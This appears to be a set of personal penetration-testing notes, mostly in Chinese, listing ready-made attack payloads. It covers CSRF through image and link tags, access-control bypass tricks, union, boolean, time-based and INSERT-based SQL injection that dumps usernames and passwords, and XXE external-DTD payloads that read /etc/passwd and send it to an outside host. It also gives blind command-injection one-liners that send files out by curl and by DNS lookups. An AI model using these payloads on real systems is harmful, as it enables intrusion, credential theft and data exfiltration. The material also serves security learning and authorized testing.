NO CSRF token: GET https://shop.com/buy.php?wallet=something&amount=888&type=BTC
Exp: Image tag <img/src="https://shop.com/buy.php?wallet=something&amount=888&type=BTC"> hyper link <a/href="https://shop.com/buy.php?wallet=something&amount=888&type=BTC">clickme</a>
Reuseable/guessable CSRF token: POST https://shop.com/buy.php?wallet=something&amount=100&type=BTC&xsrf_token=e3VzZXJfaWQ9NDR9
有时候如果GET /api/user/1 返回没有权限的话，可以测一下 GET /api/user/1/ 或者 GET /api/user/1/../1 ，也可以改请求方式POST、PUT、DELETE
SQLi
1 2 3 4 5
select id,firstname from customers where firstname like 'b%'; 查以b开头的firstname的信息 select * from customers ORDER BY id ASC; 以id的增序查询，降序 DESC select * from customers LIMIT 1; 只返回一条数据，并且就返回查到的第一个 select * from customers LIMIT 1，1； 只返回一条数据，并且跳过查到的的第一条数据 select email from customers UNION select email from suppilers; 查两个表的所有数据，表的列必须属性一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
select * from articles where id='1' select * from articles where id='1' and 1=1;--' 能查到 select * from articles where id='1' and 1=2;--' 查不到
select * from articles where id='0' UNION SELECT 1,2,3,4;--' 看能否查到，这是查列数的，如果返回4，那么第四列有回显且数据表是4列 select * from articles where id='0' UNION SELECT 1,2,3,database();--' 查当前数据库名
select * from articles where id='0' UNION SELECT 1,2,3,SCHEMA_NAME from information_schema.SCHEMATA;--' 查所有数据库名，但是由于数据库很多只能返回查到的第一个，如果想挨个查需要用到LIMIT或者GROUP_CONCAT select * from articles where id='0' UNION SELECT 1,2,3,SCHEMA_NAME from information_schema.SCHEMATA LIMIT 1,1;--' GROUP_CONCAT会把所有结果拼接到一条里 select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA LIMIT 1,1;--'
查指定数据库的表 select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='xxx';--' 查指定数据库指定数据表的列名 select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='xxx' and TABLE_NAME='yyy';--'
bool 类型注入(只返回True或者False)
1 2 3 4 5 6 7 8 9 10
测数据库名的第一个字母是不是a select * from articles where id='0' and 1=(select 1 from information_schema.SCHEMATA where SCHEMATA_NAME like 'a%');--' 测数据库名第二个字母是不是b，（前提是测出了第一个字母是a） select * from articles where id='0' and 1=(select 1 from information_schema.SCHEMATA where SCHEMATA_NAME like 'ab%');--' 测表名 select * from articles where id='0' and 1=(select 1 from information_schema.TABLES where TABLE_NAME like 'c%' and TABLE_SCHEMA='users');--'
爆数据 select * from articles where id='0' and 1=(select 1 from users where username like 'a%' LIMIT 1);--' select * from articles where id='0' and 1=(select 1 from users where username = 'adam' and password like 'd%' LIMIT 1);--'
Blind SQL Injection，啥都不返回
1 2 3 4 5
select * from newsletter where email='' or 1=SLEEP(3);-- 会延迟3秒返回执行结果 select * from newsletter where email=''' or 1=SLEEP(3);-- 因为语句错误，所有不会延迟3秒
按照上面的说法，可以爆数据库名 select * from newsletter where email='' or 1=(SELECT SLEEP(3) FROM information_schema.SCHEMATA where SCHEMA_NAME like 'a%' LIMIT 1);--
Error Based INSERT SQL Injections，返回报错，并且能返回数据
1 2 3 4 5 6
insert into comments (data,title,comment) values ('1724062543','title','aaa') insert into comments (data,title,comment) values ('1724062543','title'','aaa')报错，near 'aaa')' at line 1 insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.tables));--','') insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where TABLE_SCHEMA='sqli_test'));--','') insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where TABLE_SCHEMA='sqli_test' and TABLE_NAME='users'));--','') insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(concat(id,':',username,':',password),'') FROM sqli_test.users));--','')
Blind INSERT SQL Injections，啥都不返回
1 2 3 4
insert into comments (data,title,comment,email) values ('1724062543','title','aaa','test@ttt.com')
insert into comments (data,title,comment) values ('1724062543','',sleep(5),'');--','','') 探测是否存在漏洞 insert into comments (data,title,comment) values ('1724062543','',( SELECT sleep(5) where version() like '1%'),'');--','','')
<!DOCTYPE foo[<!ENTITY % xxe SYSTEM "http://poc.myserver.com/evil.dtd"> %xxe;]> (对应下面的第一个)
or <!DOCTYPE foo[<!ENTITY % xxe SYSTEM "http://poc.myserver.com/evil.dtd">%xxe;%parnal;]> ... <name>&exfil;</name> (对应下面的第二个)
evil.dtd
1 2 3 4 5 6 7 8 9 10
<!ENTITY % xxePOC SYSTEM "file:///etc/passwd"> <!ENTITY % exfildata "<!ENTITY exfil SYSTEM 'http://poc.myserver.com/?x=%xxePOC;'>"> %exfildata; %exfil;
or <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % parnal "<!ENTITY exfil SYSTEM 'http://poc.myserver.com/?x=%data;'>">
<!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY % sp SYSTEM "http://poc.myserver.com/dtd.xml"> %sp;%parnal; ]> <r>&exfil;</r>
dtd.xml
1 2
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % parnal "<!ENTITY exfil SYSTEM 'http://poc.myserver.com/?x=%data;'>">
Blind RCE $(curl xxx.com) 看是否收到请求 curl -X POST -d $(id) xxx.com curl -X POST -d $(base64 -i /etc/hosts) xxx.com or Using DNS 首先要知道curl subdomain.xxx.com 的时候，是会对subdomain.xxx.com发起DNS查询请求的，有时候没装curl可以用nslookup 所以 nslookup $(id).xxx.com 或者试下ping
绕过防火墙禁止curl和nslookup 测试是否存在RCE: sleep 5 看响应包是否延时 是由判断来做，类似于延时注入 if [ $(hostname | cut -c 1-1 ) = "0" ]; then sleep 10; fi if [ $(whoami | cut -c 1 ) = "n" ]; then sleep 10; fi if [ $(whoami | cut -c 2 ) = "n" ]; then sleep 10; fi if [ $(whoami | cut -c 3 ) = "n" ]; then sleep 10; fi
